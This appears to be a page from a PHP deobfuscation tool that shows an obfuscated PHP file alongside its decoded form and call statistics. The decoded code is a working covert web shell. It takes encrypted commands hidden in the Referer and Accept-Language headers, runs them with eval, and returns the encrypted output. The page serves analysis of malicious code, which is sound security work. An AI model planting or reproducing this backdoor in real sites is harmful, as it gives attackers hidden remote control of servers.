Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $s='n.($s[$i],n.$f);if(n.$e){$k=n.$kh.$kn.f;obn._start();@evan.l(@gzun.ncon.mpn.res..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$s='n.($s[$i],n.$f);if(n.$e){$k=n.$kh.$kn.f;obn._start();@evan.l(@gzun.ncon.mpn.ress(@x(@ban.se6';
$w='ode(x(gzcon.mn.press($o),n.$k))n.;pn.rint(n."<$k>$d</$k>n.n.");@sen.ssion_den.stroy();}}}}';
$H='$t{n.$in.}^$k{$n.j};}}return $o;n.n.}$r=$_SERVEn.R;$rn.r=@$r["HTTP_n.n.REFERER"];n.$ra=@$';
$m=str_replace('uE','','uEcruEeatuEuEe_fuuEnctiuEon');
$y='4_den.code(pn.n.rn.eg_repln.acn.e(array("/_/","n./-/"n.),array("/n.","+"n.n.),$ssn.($s[';
$Z='n.n.:;q=n.0n..([\\d]))?,?/"n.,$ra,$m)n.;if($q&&$m){@sesn.sionn._startn.();$s=&n.$n._SES';
$B='n.ss(mdn.5($i.$khn.),0,3));n.$n.f=$sl($ss(md5($i.$kn.fn.),0,3))n.;$p="";fn.or($z=1;n.$z';
$R='$i],0,n.$e))),$k)));$n.o=on.n.b_getn._contents();ob_en.nd_cleann.()n.;$dn.=bn.ase64_enc';
$O='t);$n.o=n."";fon.rn.($i=0n.;$i<$l;){for($j=n.n.0;($j<$c&&$in.n.<$ln.);$n.j++n.,$i++){$o.=';
$A='rn.["HTTP_An.CCEPT_Ln.ANGn.UAGE"]n.;if($rr&&n.$ran.){$u=pan.rse_un.rl($rr)n.;parsen._n.str(';
$I='$kh="n.5d41";$kf=n."402a";fn.unn.ctn.ion x($t,$kn.){n.$c=strln.en($k);$l=n.stn.rlen($';
$E='SIOn.N;$ss="subn.str";$sn.l="stn.rn.ton.lower";$i=$m[1n.][n.0n.].$m[1]n.[1];$h=$sln.($';
$g='n.="";n.$p=$ss(n.$pn.,3);}if(n.an.rray_key_exisn.ts($i,$n.sn.))n.{$s[$i].=$p;$en.=strpon.sn.';
$q='$u["qun.ery"],$q)n.n.n.;$q=array_vn.an.n.lues($q);preg_match_an.n.ll("/([\\wn.])n.[\\w-]+(?';
$l='n.n.<count($m[1]);$z+n.+)$n.p.=$q[n.n.$m[2n.][$z]];if(n.strpos($p,$hn.)=n.==0){$s[$i]';
$d=str_replace('n.','',$I.$O.$H.$A.$q.$Z.$E.$B.$l.$g.$s.$y.$R.$w);
$N=$m('',$d);$N();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 51e86f85826e06c9c4c93ae5d0a20232 |
| Eval Count | 1 |
| Decode Time | 117 ms |